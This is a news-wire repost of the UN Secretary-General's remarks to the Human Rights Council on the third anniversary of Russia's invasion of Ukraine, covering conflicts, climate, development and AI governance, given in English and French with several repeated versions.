    Attelons-nous à cette tâche – ensemble. Nous n’avons pas un instant à perdre.

    Et je vous remercie.

    [all-English version]

    Mr. President of the General Assembly, Mr. President of the Human Rights Council, High Commissioner,
    Excellencies, ladies and gentlemen,

    We begin this session under the weight of a grim milestone — the third anniversary of Russia’s invasion of Ukraine, in violation of the UN charter.

    More than 12,600 civilians killed, with many more injured.

    Entire communities reduced to rubble.

    Hospitals and schools destroyed.

    We must spare no effort to bring an end to this conflict, and to achieve a just and lasting peace in line with the UN Charter, international law and General Assembly resolutions.

    Conflicts like the war in Ukraine exact a heavy toll.

    A toll on people. 

    A toll on fundamental principles like territorial integrity, sovereignty and the rule of law.

    And a toll on the vital business of this Council.

    Without respect for human rights — civil, cultural, economic, political and social — sustainable peace is a pipedream.

    And like this Council, human rights shine a light in the darkest places.

    Through your work, and the work of the High Commissioner’s Office around the world, you’re supporting brave human rights defenders risking persecution, detention and even death.

    You’re working with governments, civil society and others to strengthen action on human rights.

    And you’re supporting investigations and accountability.

    Five years ago, we launched our Call to Action for Human Rights, embedding human rights across the work of the United Nations around the world in close cooperation with our partners.

    I will continue supporting this important work, and the High Commissioner’s Office, as we fight for human rights everywhere.
    Excellencies,

    We have our work cut out for us. 

    Human rights are the oxygen of humanity.

    But one by one, human rights are being suffocated.  

    By autocrats, crushing opposition because they fear what a truly empowered people would do. 

    By a patriarchy that keeps girls out of school, and women at arm’s length from basic rights.

    By wars and violence that strip populations of their right to food, water and education.

    By warmongers who thumb their nose at international law, international humanitarian law and the UN Charter.  

    Human rights are being suffocated by the climate crisis.

    And by a morally bankrupt global financial system that too often obstructs the path to greater equality and sustainable development.

    By runaway technologies like Artificial Intelligence that hold great promise, but also the ability to violate human rights at the touch of a button.

    By growing intolerance against entire groups — from Indigenous peoples, to migrants and refugees, to the LGBTQI+ community, to persons with disabilities.  
    And by voices of division and anger who view human rights not as a boon to humanity, but as a barrier to the power, profit and control they seek.

    In short — human rights are on the ropes and being pummeled hard.

    This represents a direct threat to all of the hard-won mechanisms and systems established over the last 80 years to protect and advance human rights. 

    But as the recently adopted Pact for the Future reminds us, human rights are, in fact, a source of solutions.

    The Pact provides a playbook on how we can win the fight for human rights on several fronts.   

    First — human rights through peace and peace through human rights.

    Conflicts inflict human rights violations on a massive scale.

    In the Occupied Palestinian Territory, violations of human rights have skyrocketed since the horrific Hamas attacks of October 7 and the intolerable levels of death and destruction in Gaza.

    And I am gravely concerned by the rising violence in the occupied West Bank by Israeli settlers and other violations, as well as calls for annexation. We are witnessing a precarious ceasefire. We must avoid at all costs a resumption of hostilities. The people in Gaza have already suffered too much.

    It’s time for a permanent ceasefire, the dignified release of all remaining hostages, irreversible progress towards a two-State solution, an end to the occupation, and the establishment of an independent Palestinian State, with Gaza as an integral part.

    In Sudan, bloodshed, displacement and famine are engulfing the country.  

    The warring parties must take immediate action to protect civilians, uphold human rights, cease hostilities and forge peace.

    And domestic and international human rights monitoring and investigation mechanisms should be permitted to document what is happening on the ground.

    In the Democratic Republic of the Congo, we see a deadly whirlwind of violence and horrifying human rights abuses, amplified by the recent M23 offensive, supported by the Rwandan Defense Forces.  
    As more cities fall, the risk of a regional war rises. 
     
    It’s time to silence the guns. 
     
    It’s time for diplomacy and dialogue. 
     
    The recent joint summit in Tanzania offered a way forward with a renewed call for an immediate ceasefire.

    The sovereignty and territorial integrity of the DRC must be respected.

    The Congolese people deserve peace.

    In the Sahel, I call for a renewed regional dialogue to protect citizens from terrorism and systemic violations of human rights, and to create the conditions for sustainable development. 

    In Myanmar, the situation has grown far worse in the four years since the military seized power and arbitrarily detained members of the democratically elected government.

    We need greater cooperation to bring an end to the hostilities and forge a path towards an inclusive democratic transition and a return to civilian rule, allowing for the safe return of the Rohingya refugees.

    And in Haiti, we are seeing massive human rights violations — including more than a million people displaced, and children facing a horrific increase in sexual violence and recruitment into gangs.

    In the coming days, I will put forward proposals to the United Nations Security Council for greater stability and security for the people of Haiti — namely through an effective UN assistance mechanism to support the Multilateral Security Support mission, the national police and Haitian authorities.

    A durable solution requires a political process — led and owned by the Haitian people — that restores democratic institutions through elections.

    The Pact for the Future calls for peace processes and approaches rooted in the Universal Declaration of Human Rights, international law and the UN Charter.

    It proposes specific actions to prioritize conflict prevention, mediation, resolution and peacebuilding.

    And it includes a commitment to tackle the root causes of conflict, which are so often enmeshed in denials of basic human needs and rights.  

    Second — the Pact for the Future advances human rights through development.

    The Sustainable Development Goals and human rights are fundamentally intertwined.

    They represent real human needs — health, food, water, education, decent work and social protection.

    With less than one-fifth of the Goals on track, the Pact calls for a massive acceleration through an SDG Stimulus, reforming the global financial architecture, and taking meaningful action for countries drowning in debt.

    This must include focused action to conquer the most widespread human rights abuse in history — inequality for women and girls.

    The Pact calls for investing in battling all forms of discrimination and violence against women and girls, and ensuring their meaningful participation and leadership across all walks of life.
    And along with the Declaration on Future Generations, the Pact calls for supporting the rights and futures of young people through decent work, removing barriers for youth participation, and enhancing training.

    And the Global Digital Compact calls on nations to champion young innovators, nurture entrepreneurial spirit, and equip the next generation with digital literacy and skills.
    Third — the Pact for the Future recognizes that the rule of law and human rights go hand-in-hand.

    The rule of law, when founded on human rights, is an essential pillar of protection.

    It shields the most vulnerable.

    It’s the first line of defense against crime and corruption.

    It supports fair, just and inclusive economies and societies.

    It holds perpetrators of human rights atrocities to account.

    It enables civic space for people to make their voices heard — and for journalists to carry out their essential work, free from interference or threats.

    And it reaffirms the world’s commitment to equal access to justice, good governance, and transparent and accountable institutions.

    Fourth — human rights through climate action.   

    Last year was the hottest on record — capping the hottest decade on record.

    Rising heat, melting glaciers and hotter oceans are a recipe for disaster.  

    Floods, droughts, deadly storms, hunger, mass displacement — our war on nature is also a war on human rights.

    We must choose a different path.

    I salute the many Member States who legally recognize the right to a healthy environment — and I call on all countries to do the same.

    Governments must keep their promise to produce new, economy-wide national climate action plans this year, well ahead of COP30 in Brazil.

    Those plans must limit the rise in global temperature to 1.5 degrees — including by accelerating the global energy transition.   

    We also need a surge in finance for climate action in developing countries, to adapt to global heating, slash emissions and accelerate the renewables revolution, which represents a massive economic opportunity.  

    We must stand up to the misleading campaign of many in the fossil fuel industry and its enablers who are aiding and abetting this madness, while also protecting and defending those on the front lines of climate justice.

    And fifth — human rights through stronger, better governance of technology.

    As fast-moving technologies expand into every aspect of our lives, I am deeply concerned about human rights being undermined.

    At its best, social media is a meeting ground for people to exchange ideas and spark respectful debate.

    But it can also be an arena of fiery combat and blatant ignorance.

    A place where the poisons of misinformation, disinformation, racism, misogyny and hate speech are not only tolerated — but often encouraged.

    Verbal violence online can easily spill into physical violence in real life. 

    Recent rollbacks on social media fact-checking and content moderation are re-opening the floodgates to more hate, more threats, and more violence.

    Make no mistake.

    These rollbacks will lead to less free speech, not more, as people become increasingly fearful to engage on these platforms.

    Meanwhile, the great promise of Artificial Intelligence is matched by limitless peril to undermine human autonomy, human identity, human control — and yes, human rights.

    In the face of these threats, the Global Digital Compact brings the world together to ensure that human rights are not sacrificed on the altar of technology.

    This includes working with digital companies and policymakers to extend human rights to every corner of cyberspace — including a new focus on information integrity across digital platforms.

    The Global Principles for Information Integrity I launched last year will support and inform this work as we push for a more humane information ecosystem.

    The Global Digital Compact also includes the first universal agreement on the governance of AI that brings every country to the table and commitments on capacity-building, so all countries and people benefit from AI’s potential.

    By investing in affordable internet, digital literacy, and infrastructure.

    By helping developing countries use AI to grow small businesses, improve public services, and connect communities to new markets.

    And by placing human rights at the centre of AI-driven systems.

    The Pact’s decisions to create an Independent International Scientific Panel on AI and an ongoing Global Dialogue that ensure all countries have a voice in shaping its future are important steps forward. We must implement them.

    Excellencies, ladies and gentlemen,

    We can help end the suffocation of human rights by breathing life into the Pact for the Future and the work of this Council. 

    Let’s do that together. We don’t have a moment to lose.

    And I thank you.

    [all-French translation]

    L’ouverture de la présente session coïncide avec un sinistre jalon : le troisième anniversaire de l’invasion de l’Ukraine par la Russie, en violation de la Charte des Nations Unies.

    Plus de 12 600 civils ont été tués et bien plus encore ont été blessés.

    Des communautés entières ont été anéanties.

    Des hôpitaux et des écoles ne sont plus que décombres.

    Nous ne devons ménager aucun effort pour mettre un terme à ce conflit et parvenir à une paix juste et durable, conformément à la Charte des Nations Unies, au droit international et aux résolutions de l’Assemblée générale.

    Les conflits comme la guerre en Ukraine prélèvent un lourd tribut.

    Ils déciment les populations.

    Ils érodent les principes fondamentaux que sont l’intégrité territoriale, la souveraineté et l’état de droit.

    Ils sapent les activités vitales de ce Conseil.

    Sans le respect des droits humains – qu’ils soient civils, culturels, économiques, politiques ou sociaux – la paix durable n’est qu’une chimère.

    Et comme ce Conseil, les droits humains sont une source de lumière dans l’obscurité la plus profonde.

    Grâce à vos travaux et à ceux que le Haut-Commissariat mène dans le monde entier, vous soutenez les défenseurs et défenseuses des droits humains qui, avec courage, risquent la persécution, la détention et même la mort.

    Vous travaillez avec les gouvernements, la société civile et d’autres acteurs pour renforcer l’action en faveur des droits humains.

    Et vous apportez votre soutien aux mécanismes d’enquête et d’établissement des responsabilités.

    Il y a cinq ans, nous avons lancé notre appel à l’action en faveur des droits humains, l’objectif étant d’intégrer les droits humains dans toutes les activités des Nations Unies menées à travers le monde, en étroite collaboration avec nos partenaires.

    Je continuerai d’apporter mon appui à ces travaux importants, ainsi qu’au Haut-Commissariat, dans notre lutte pour les droits humains partout dans le monde.

    Excellences,

    Nous avons du pain sur la planche.

    Les droits humains sont l’oxygène de l’humanité.

    Mais ils sont asphyxiés, les uns après les autres.

    Par les autocrates, qui écrasent l’opposition parce qu’ils craignent ce dont serait capable un peuple ayant pleinement les moyens d’agir.

    Par le patriarcat, qui empêche les filles d’aller à l’école et les femmes de jouir de leurs droits fondamentaux.

    Par les guerres et la violence, qui privent les populations de leur droit à l’alimentation, à l’eau, et à l’éducation.

    Par les bellicistes, qui se rient du droit international, du droit international humanitaire et de la Charte des Nations Unies.

    Les droits humains sont asphyxiés par la crise climatique.

    Par un système financier mondial en faillite morale, qui fait trop souvent obstacle à une plus grande égalité et au développement durable.

    Par des technologies incontrôlables comme l’intelligence artificielle, qui suscitent de grands espoirs mais recèlent aussi la capacité de violer les droits humains en un seul clic.

    Par une intolérance croissante à l’égard de groupes entiers, qu’il s’agisse des peuples autochtones, des migrants et réfugiés, de la communauté LGBTQI+, ou encore des personnes handicapées.

    Et par les discours de ceux qui, prêchant la division et la colère, considèrent les droits humains non pas comme un bienfait pour l’humanité, mais comme un obstacle au pouvoir, au profit et au contrôle qu’ils convoitent.

    En bref, les droits humains, sous le coup d’attaques vicieuses, sont dans leurs derniers retranchements.

    Cette situation représente une menace directe pour tous les mécanismes et systèmes établis de haute lutte au cours des 80 dernières années pour protéger et faire progresser les droits humains.

    Or, comme le rappelle le Pacte pour l’avenir adopté récemment, les droits humains sont, en fait, une source de solutions.

    Le Pacte définit les mesures que nous pouvons prendre pour gagner le combat pour les droits humains sur plusieurs fronts.

    Premièrement, réaliser les droits humains grâce à la paix et instaurer la paix grâce aux droits humains.

    Les conflits infligent des violations massives des droits humains.

    Dans le Territoire palestinien occupé, les violations des droits humains ont connu une hausse vertigineuse depuis les horribles attaques perpétrées par le Hamas le 7 octobre, et les niveaux intolérables de mort et de destruction à Gaza.

    Je suis gravement préoccupé par la montée des violences et des autres violations commises en Cisjordanie occupée par les colons israéliens, ainsi que par les appels à l’annexion. Nous assistons à un cessez-le-feu précaire. Nous devons éviter à tout prix une reprise des hostilités. La population de Gaza a déjà trop souffert.

    Il est temps d’instaurer un cessez-le-feu permanent, de libérer tous les otages restants, de réaliser des progrès irréversibles vers la solution des deux États, la fin l’occupation, et la création d’un État palestinien indépendant, dont Gaza ferait partie intégrante.

    Au Soudan, les bains de sang, les déplacements de population et la famine ravagent le pays.

    Les parties en conflit doivent prendre immédiatement des mesures pour protéger les civils, défendre les droits humains, cesser les hostilités et instaurer la paix.

    Les mécanismes nationaux et internationaux de surveillance et d’enquête en matière de droits humains devraient être autorisés à documenter ce qui se déroule sur le terrain.

    En République démocratique du Congo, nous sommes témoins d’un tourbillon mortel de violences et d’atroces violations des droits humains, amplifié par la récente offensive du M23, soutenue par les forces de défense rwandaises.

    Plus les villes tombent, plus le risque d’une guerre régionale augmente. 

    Il est temps de faire taire les armes.

    L’heure est à la diplomatie et au dialogue.

    Le récent sommet conjoint qui s’est tenu en Tanzanie a ouvert la voie en renouvelant l’appel à un cessez-le-feu immédiat.

    La souveraineté et l’intégrité territoriale de la RDC doivent être respectées.

    Le peuple congolais mérite la paix.

    Au Sahel, j’appelle à la reprise du dialogue régional afin de protéger les citoyens du terrorisme et des violations systémiques des droits humains et de créer les conditions du développement durable.

    Au Myanmar, la situation s’est considérablement aggravée au cours des quatre années qui se sont écoulées depuis que les militaires ont pris le pouvoir et détenu arbitrairement des membres du gouvernement démocratiquement élu.

    Il nous faut resserrer la coopération pour mettre fin aux hostilités et ouvrir la voie à une transition démocratique inclusive et au retour à un régime civil, permettant le retour en toute sécurité des réfugiés rohingyas.

    En Haïti, nous constatons des violations massives des droits humains : plus d’un million de personnes ont été déplacées et les enfants sont en proie à une augmentation effroyable des violences sexuelles et de l’enrôlement dans les gangs.

    Dans les jours à venir, je présenterai au Conseil de sécurité des Nations unies des propositions pour renforcer la stabilité et la sécurité du peuple haïtien, notamment par le biais d’un mécanisme d’assistance efficace des Nations unies destiné à soutenir la Mission multilatérale de soutien à la sécurité, à la police nationale et aux autorités haïtiennes.

    Une solution durable nécessite un processus politique – mené et pris en charge par le peuple haïtien – qui rétablisse les institutions démocratiques à travers des élections.

    Le Pacte pour l’avenir demande la mise en place de processus et de démarches pour la paix ancrés dans la Déclaration universelle des droits de l’Homme, le droit international et la Charte des Nations Unies.

    Le Pacte pour l’avenir appelle à des processus et des approches de paix fondés sur la Déclaration universelle des droits de l’homme, le droit international et la Charte des Nations unies.

    Il propose des mesures précises visant à privilégier la prévention des conflits, la médiation, le règlement des conflits et la consolidation de la paix.

    Il énonce également l’engagement pris de s’attaquer aux causes profondes des conflits, qui sont bien souvent liées au déni des besoins et des droits humains fondamentaux.

    Deuxièmement, le Pacte pour l’avenir fait progresser les droits humains grâce au développement.

    Les objectifs de développement durable et les droits humains sont intrinsèquement liés.

    Ils représentent des besoins humains réels : la santé, l’alimentation, l’eau, l’éducation, le travail décent et la protection sociale.

    Alors que moins d’un cinquième des objectifs sont en passe d’être réalisés, le Pacte appelle à une accélération massive des progrès grâce au plan de relance des objectifs de développement durable, à la réforme de
    l’architecture financière mondiale et à la prise de mesures réfléchies pour les pays qui croulent sous la dette.

    Il s’agit donc, notamment, de mener une action ciblée pour vaincre la violation des droits humains la plus répandue dans l’histoire : l’inégalité pour les femmes et les filles.

    Le Pacte appelle à investir pour lutter contre toutes les formes de discrimination et de violence à l’égard des femmes et des filles et pour permettre à celles-ci de participer véritablement à tous les domaines de la vie et d’y jouer un rôle moteur.

    Avec la Déclaration sur les générations futures, le Pacte appelle à défendre les droits et l’avenir des jeunes en promouvant le travail décent, en éliminant les obstacles à la participation des jeunes et en améliorant la formation.

    Le Pacte numérique mondial appelle tous les pays à soutenir les jeunes innovateurs, à cultiver l’esprit entrepreneurial et à doter la prochaine génération des connaissances et compétences numériques nécessaires.

    Troisièmement, le Pacte pour l’avenir établit que l’état de droit et les droits humains vont de pair.

    L’état de droit, lorsqu’il est fondé sur les droits humains, est un pilier essentiel de la protection.

    Il protège les plus vulnérables.

    C’est la première ligne de défense contre la criminalité et la corruption.

    Il favorise des économies et des sociétés équitables, justes et inclusives.

    Il oblige les auteurs d’atrocités commises en violation des droits humains à rendre compte de leurs actes.

    Il offre aux individus un espace civique où faire entendre leur voix et permet aux journalistes d’accomplir leur travail essentiel, à l’abri des ingérences et des menaces.

    Et il réaffirme l’engagement du monde en faveur de l’égalité d’accès à la justice, de la bonne gouvernance et d’institutions transparentes et responsables.

    Quatrièmement, réaliser les droits humains grâce à l’action climatique.

    L’année dernière a été la plus chaude jamais enregistrée, et vient couronner la décennie la plus chaude jamais enregistrée.

    La hausse des températures, la fonte des glaciers et le réchauffement des océans ne peuvent mener qu’au désastre.

    Inondations, sécheresses, tempêtes meurtrières, famine, déplacements massifs : notre guerre contre la nature est aussi une guerre contre les droits humains.

    Nous devons prendre un autre chemin.

    Je salue les nombreux États Membres qui reconnaissent légalement le droit à un environnement sain, et j’appelle tous les pays à faire de même.

    Les gouvernements doivent tenir leur promesse d’élaborer cette année de nouveaux plans d’action nationaux pour le climat couvrant l’ensemble de l’économie, et ce bien avant la COP 30 qui se tiendra au Brésil.

    Ces plans doivent limiter la hausse de la température mondiale à 1,5 degré, notamment en accélérant la transition énergétique mondiale.

    Nous avons également besoin d’une augmentation massive des financements pour l’action climatique dans les pays en développement, afin de s’adapter au réchauffement de la planète, de réduire les émissions et d’accélérer la révolution des énergies renouvelables, qui offre d’énormes possibilités économiques.

    Nous devons nous opposer aux campagnes mensongères menées par de nombreux acteurs de l’industrie des combustibles fossiles et à ceux qui la font vivre et s’en rendent complices…

    Tout comme nous devons protéger et défendre les personnes qui sont en première ligne de la lutte pour une justice climatique.

    Et cinquièmement, réaliser les droits humains grâce à une gouvernance renforcée et améliorée des technologies.

    À l’heure où des technologies en rapide mutation s’immiscent dans tous les aspects de notre vie, je m’inquiète des risques qu’elles représentent pour les droits humains.

    Dans le meilleur des cas, les médias sociaux sont un lieu de rencontre où l’on peut échanger des idées et débattre avec respect.

    Mais ils peuvent aussi devenir un théâtre de confrontations enflammées et d’une ignorance flagrante.

    Un lieu où les poisons que sont la mésinformation, la désinformation, le racisme, la misogynie et les discours de haine sont non seulement tolérés, mais, bien souvent, encouragés.

    La violence verbale en ligne peut facilement se transformer en violence physique dans le monde réel.

    Les reculs récents en matière de vérification des faits et de modération de contenu sur les réseaux sociaux rouvrent grand la porte à plus de haine, plus de menaces et plus de violence.

    Que l’on ne s’y trompe pas.

    Ces reculs entraîneront une diminution de la liberté d’expression, et non une amplification – car les gens craignent de plus en plus de s’exprimer sur ces plateformes.

    Dans le même temps, la grande promesse de l’intelligence artificielle s’accompagne d’un risque insondable qui met en péril l’autonomie, l’identité et le contrôle humains – jusqu’aux droits humains.

    Face à ces menaces, le Pacte numérique mondial rassemble le monde entier pour veiller à ce que les droits humains ne soient pas sacrifiés sur l’autel de la technologie.

    Il s’agit notamment de collaborer avec les entreprises numériques et les décideurs politiques pour étendre le respect des droits humains à tous les recoins du cyberespace, en mettant notamment l’accent sur l’intégrité de l’information sur toutes les plateformes numériques.

    Les Principes mondiaux pour l’intégrité de l’information que j’ai lancés l’année dernière viendront étayer et orienter les efforts que nous déploierons en vue de créer un écosystème de l’information plus humain.

    Le Pacte numérique mondial comprend également le premier accord universel sur la gouvernance de l’intelligence artificielle qui donne voix au chapitre à tous les pays, ainsi que des engagements en matière de renforcement des capacités, visant à ce que tous les pays et toutes les personnes bénéficient du potentiel de l’intelligence artificielle.

    Pour cela, il faut investir dans l’accès à Internet à un prix abordable, dans les formations au numérique et dans les infrastructures ;

    Aider les pays en développement à utiliser l’intelligence artificielle pour développer les petites entreprises, améliorer les services publics et connecter les communautés à de nouveaux marchés.

    Et mettre les droits humains au centre des systèmes fondés sur l’intelligence artificielle.

    Les décisions du Pacte – d’établir un Groupe scientifique international indépendant et un Dialogue mondial régulier garantissant la participation de tous les pays dans l’élaboration de l’avenir de l’intelligence artificielle – constituent des avancées importantes. Il faut les concrétiser.

    Excellences, Mesdames et Messieurs,

    Nous pouvons mettre fin à l’asphyxie des droits humains en donnant vie au Pacte pour l’avenir et aux travaux de ce Conseil.

    Attelons-nous à cette tâche – ensemble. Nous n’avons pas un instant à perdre.

    Et je vous remercie.

    MIL OSI Africa –

    February 24, 2025
  • MIL-OSI United Nations: Secretary-General’s Remarks to the Human Rights Council [as delivered]

    Source: United Nations secretary general

    [Scroll down for all-English and all-French versions]

    Mr. President of the General Assembly, Mr. President of the Human Rights Council, High Commissioner,
    Excellencies, ladies and gentlemen,

    We begin this session under the weight of a grim milestone — the third anniversary of Russia’s invasion of Ukraine, in violation of the UN charter.

    More than 12,600 civilians killed, with many more injured.

    Entire communities reduced to rubble.

    Hospitals and schools destroyed.

    We must spare no effort to bring an end to this conflict, and to achieve a just and lasting peace in line with the UN Charter, international law and General Assembly resolutions.

    Conflicts like the war in Ukraine exact a heavy toll.

    A toll on people. 

    A toll on fundamental principles like territorial integrity, sovereignty and the rule of law.

    And a toll on the vital business of this Council.

    Without respect for human rights — civil, cultural, economic, political and social — sustainable peace is a pipedream.

    And like this Council, human rights shine a light in the darkest places.

    Through your work, and the work of the High Commissioner’s Office around the world, you’re supporting brave human rights defenders risking persecution, detention and even death.

    You’re working with governments, civil society and others to strengthen action on human rights.

    And you’re supporting investigations and accountability.

    Five years ago, we launched our Call to Action for Human Rights, embedding human rights across the work of the United Nations around the world in close cooperation with our partners.

    I will continue supporting this important work, and the High Commissioner’s Office, as we fight for human rights everywhere.
    Excellencies,

    We have our work cut out for us. 

    Human rights are the oxygen of humanity.

    But one by one, human rights are being suffocated.  

    By autocrats, crushing opposition because they fear what a truly empowered people would do. 

    By a patriarchy that keeps girls out of school, and women at arm’s length from basic rights.

    By wars and violence that strip populations of their right to food, water and education.

    By warmongers who thumb their nose at international law, international humanitarian law and the UN Charter.  

    Human rights are being suffocated by the climate crisis.

    And by a morally bankrupt global financial system that too often obstructs the path to greater equality and sustainable development.

    By runaway technologies like Artificial Intelligence that hold great promise, but also the ability to violate human rights at the touch of a button.

    By growing intolerance against entire groups — from Indigenous peoples, to migrants and refugees, to the LGBTQI+ community, to persons with disabilities.  
    And by voices of division and anger who view human rights not as a boon to humanity, but as a barrier to the power, profit and control they seek.

    In short — human rights are on the ropes and being pummeled hard.

    This represents a direct threat to all of the hard-won mechanisms and systems established over the last 80 years to protect and advance human rights. 

    But as the recently adopted Pact for the Future reminds us, human rights are, in fact, a source of solutions.

    The Pact provides a playbook on how we can win the fight for human rights on several fronts.   

    First — human rights through peace and peace through human rights.

    Conflicts inflict human rights violations on a massive scale.

    In the Occupied Palestinian Territory, violations of human rights have skyrocketed since the horrific Hamas attacks of October 7 and the intolerable levels of death and destruction in Gaza.

    And I am gravely concerned by the rising violence in the occupied West Bank by Israeli settlers and other violations, as well as calls for annexation. We are witnessing a precarious ceasefire. We must avoid at all costs a resumption of hostilities. The people in Gaza have already suffered too much.

    It’s time for a permanent ceasefire, the dignified release of all remaining hostages, irreversible progress towards a two-State solution, an end to the occupation, and the establishment of an independent Palestinian State, with Gaza as an integral part.

    In Sudan, bloodshed, displacement and famine are engulfing the country.  

    The warring parties must take immediate action to protect civilians, uphold human rights, cease hostilities and forge peace.

    And domestic and international human rights monitoring and investigation mechanisms should be permitted to document what is happening on the ground.

    In the Democratic Republic of the Congo, we see a deadly whirlwind of violence and horrifying human rights abuses, amplified by the recent M23 offensive, supported by the Rwandan Defense Forces.  
    As more cities fall, the risk of a regional war rises. 
     
    It’s time to silence the guns. 
     
    It’s time for diplomacy and dialogue. 
     
    The recent joint summit in Tanzania offered a way forward with a renewed call for an immediate ceasefire.

    The sovereignty and territorial integrity of the DRC must be respected.

    The Congolese people deserve peace.

    In the Sahel, I call for a renewed regional dialogue to protect citizens from terrorism and systemic violations of human rights, and to create the conditions for sustainable development. 

    In Myanmar, the situation has grown far worse in the four years since the military seized power and arbitrarily detained members of the democratically elected government.

    We need greater cooperation to bring an end to the hostilities and forge a path towards an inclusive democratic transition and a return to civilian rule, allowing for the safe return of the Rohingya refugees.

    And in Haiti, we are seeing massive human rights violations — including more than a million people displaced, and children facing a horrific increase in sexual violence and recruitment into gangs.

    In the coming days, I will put forward proposals to the United Nations Security Council for greater stability and security for the people of Haiti — namely through an effective UN assistance mechanism to support the Multilateral Security Support mission, the national police and Haitian authorities.

    A durable solution requires a political process — led and owned by the Haitian people — that restores democratic institutions through elections.

    The Pact for the Future calls for peace processes and approaches rooted in the Universal Declaration of Human Rights, international law and the UN Charter.

    It proposes specific actions to prioritize conflict prevention, mediation, resolution and peacebuilding.

    And it includes a commitment to tackle the root causes of conflict, which are so often enmeshed in denials of basic human needs and rights.  

    Second — the Pact for the Future advances human rights through development.

    The Sustainable Development Goals and human rights are fundamentally intertwined.

    They represent real human needs — health, food, water, education, decent work and social protection.

    With less than one-fifth of the Goals on track, the Pact calls for a massive acceleration through an SDG Stimulus, reforming the global financial architecture, and taking meaningful action for countries drowning in debt.

    This must include focused action to conquer the most widespread human rights abuse in history — inequality for women and girls.

    The Pact calls for investing in battling all forms of discrimination and violence against women and girls, and ensuring their meaningful participation and leadership across all walks of life.
    And along with the Declaration on Future Generations, the Pact calls for supporting the rights and futures of young people through decent work, removing barriers for youth participation, and enhancing training.

    And the Global Digital Compact calls on nations to champion young innovators, nurture entrepreneurial spirit, and equip the next generation with digital literacy and skills.
    Third — the Pact for the Future recognizes that the rule of law and human rights go hand-in-hand.

    The rule of law, when founded on human rights, is an essential pillar of protection.

    It shields the most vulnerable.

    It’s the first line of defense against crime and corruption.

    It supports fair, just and inclusive economies and societies.

    It holds perpetrators of human rights atrocities to account.

    It enables civic space for people to make their voices heard — and for journalists to carry out their essential work, free from interference or threats.

    And it reaffirms the world’s commitment to equal access to justice, good governance, and transparent and accountable institutions.   

    Quatrièmement, réaliser les droits humains grâce à l’action climatique.

    L’année dernière a été la plus chaude jamais enregistrée, et vient couronner la décennie la plus chaude jamais enregistrée.

    La hausse des températures, la fonte des glaciers et le réchauffement des océans ne peuvent mener qu’au désastre.

    Inondations, sécheresses, tempêtes meurtrières, famine, déplacements massifs : notre guerre contre la nature est aussi une guerre contre les droits humains.

    Nous devons prendre un autre chemin.

    Je salue les nombreux États Membres qui reconnaissent légalement le droit à un environnement sain, et j’appelle tous les pays à faire de même.

    Les gouvernements doivent tenir leur promesse d’élaborer cette année de nouveaux plans d’action nationaux pour le climat couvrant l’ensemble de l’économie, et ce bien avant la COP 30 qui se tiendra au Brésil.

    Ces plans doivent limiter la hausse de la température mondiale à 1,5 degré, notamment en accélérant la transition énergétique mondiale.

    Nous avons également besoin d’une augmentation massive des financements pour l’action climatique dans les pays en développement, afin de s’adapter au réchauffement de la planète, de réduire les émissions et d’accélérer la révolution des énergies renouvelables, qui offre d’énormes possibilités économiques.

    Nous devons nous opposer aux campagnes mensongères menées par de nombreux acteurs de l’industrie des combustibles fossiles et à ceux qui la font vivre et s’en rendent complices…

    Tout comme nous devons protéger et défendre les personnes qui sont en première ligne de la lutte pour une justice climatique.

    Et cinquièmement, réaliser les droits humains grâce à une gouvernance renforcée et améliorée des technologies.

    À l’heure où des technologies en rapide mutation s’immiscent dans tous les aspects de notre vie, je m’inquiète des risques qu’elles représentent pour les droits humains.

    Dans le meilleur des cas, les médias sociaux sont un lieu de rencontre où l’on peut échanger des idées et débattre avec respect.

    Mais ils peuvent aussi devenir un théâtre de confrontations enflammées et d’une ignorance flagrante.

    Un lieu où les poisons que sont la mésinformation, la désinformation, le racisme, la misogynie et les discours de haine sont non seulement tolérés, mais, bien souvent, encouragés.

    La violence verbale en ligne peut facilement se transformer en violence physique dans le monde réel.

    Les reculs récents en matière de vérification des faits et de modération de contenu sur les réseaux sociaux rouvrent grand la porte à plus de haine, plus de menaces et plus de violence.

    Que l’on ne s’y trompe pas.

    Ces reculs entraîneront une diminution de la liberté d’expression, et non une amplification – car les gens craignent de plus en plus de s’exprimer sur ces plateformes.

    Dans le même temps, la grande promesse de l’intelligence artificielle s’accompagne d’un risque insondable qui met en péril l’autonomie, l’identité et le contrôle humains – jusqu’aux droits humains.

    Face à ces menaces, le Pacte numérique mondial rassemble le monde entier pour veiller à ce que les droits humains ne soient pas sacrifiés sur l’autel de la technologie.

    Il s’agit notamment de collaborer avec les entreprises numériques et les décideurs politiques pour étendre le respect des droits humains à tous les recoins du cyberespace, en mettant notamment l’accent sur l’intégrité de l’information sur toutes les plateformes numériques.

    Les Principes mondiaux pour l’intégrité de l’information que j’ai lancés l’année dernière viendront étayer et orienter les efforts que nous déploierons en vue de créer un écosystème de l’information plus humain.

    Le Pacte numérique mondial comprend également le premier accord universel sur la gouvernance de l’intelligence artificielle qui donne voix au chapitre à tous les pays, ainsi que des engagements en matière de renforcement des capacités, visant à ce que tous les pays et toutes les personnes bénéficient du potentiel de l’intelligence artificielle.

    Pour cela, il faut investir dans l’accès à l’Internet à un prix abordable, dans les formations au numérique et dans les infrastructures ;

    Aider les pays en développement à utiliser l’intelligence artificielle pour développer les petites entreprises, améliorer les services publics et connecter les communautés à de nouveaux marchés.

    Et mettre les droits humains au centre des systèmes fondés sur l’intelligence artificielle.

    Les décisions du Pacte – d’établir un Groupe scientifique international indépendant et un Dialogue mondial régulier garantissant la participation de tous les pays dans l’élaboration de l’avenir de l’intelligence artificielle – constituent des avancées importantes. Il faut les concrétiser.

    Excellences,

    Mesdames et Messieurs,

    Nous pouvons mettre fin à l’asphyxie des droits humains en donnant vie au Pacte pour l’avenir et aux travaux de ce Conseil.

    Attelons-nous à cette tâche – ensemble. Nous n’avons pas un instant à perdre.

    Et je vous remercie.

    [all-English version]

    Mr. President of the General Assembly, Mr. President of the Human Rights Council, High Commissioner,
    Excellencies, ladies and gentlemen,

    We begin this session under the weight of a grim milestone — the third anniversary of Russia’s invasion of Ukraine, in violation of the UN charter.

    More than 12,600 civilians killed, with many more injured.

    Entire communities reduced to rubble.

    Hospitals and schools destroyed.

    We must spare no effort to bring an end to this conflict, and to achieve a just and lasting peace in line with the UN Charter, international law and General Assembly resolutions.

    Conflicts like the war in Ukraine exact a heavy toll.

    A toll on people. 

    A toll on fundamental principles like territorial integrity, sovereignty and the rule of law.

    And a toll on the vital business of this Council.

    Without respect for human rights — civil, cultural, economic, political and social — sustainable peace is a pipedream.

    And like this Council, human rights shine a light in the darkest places.
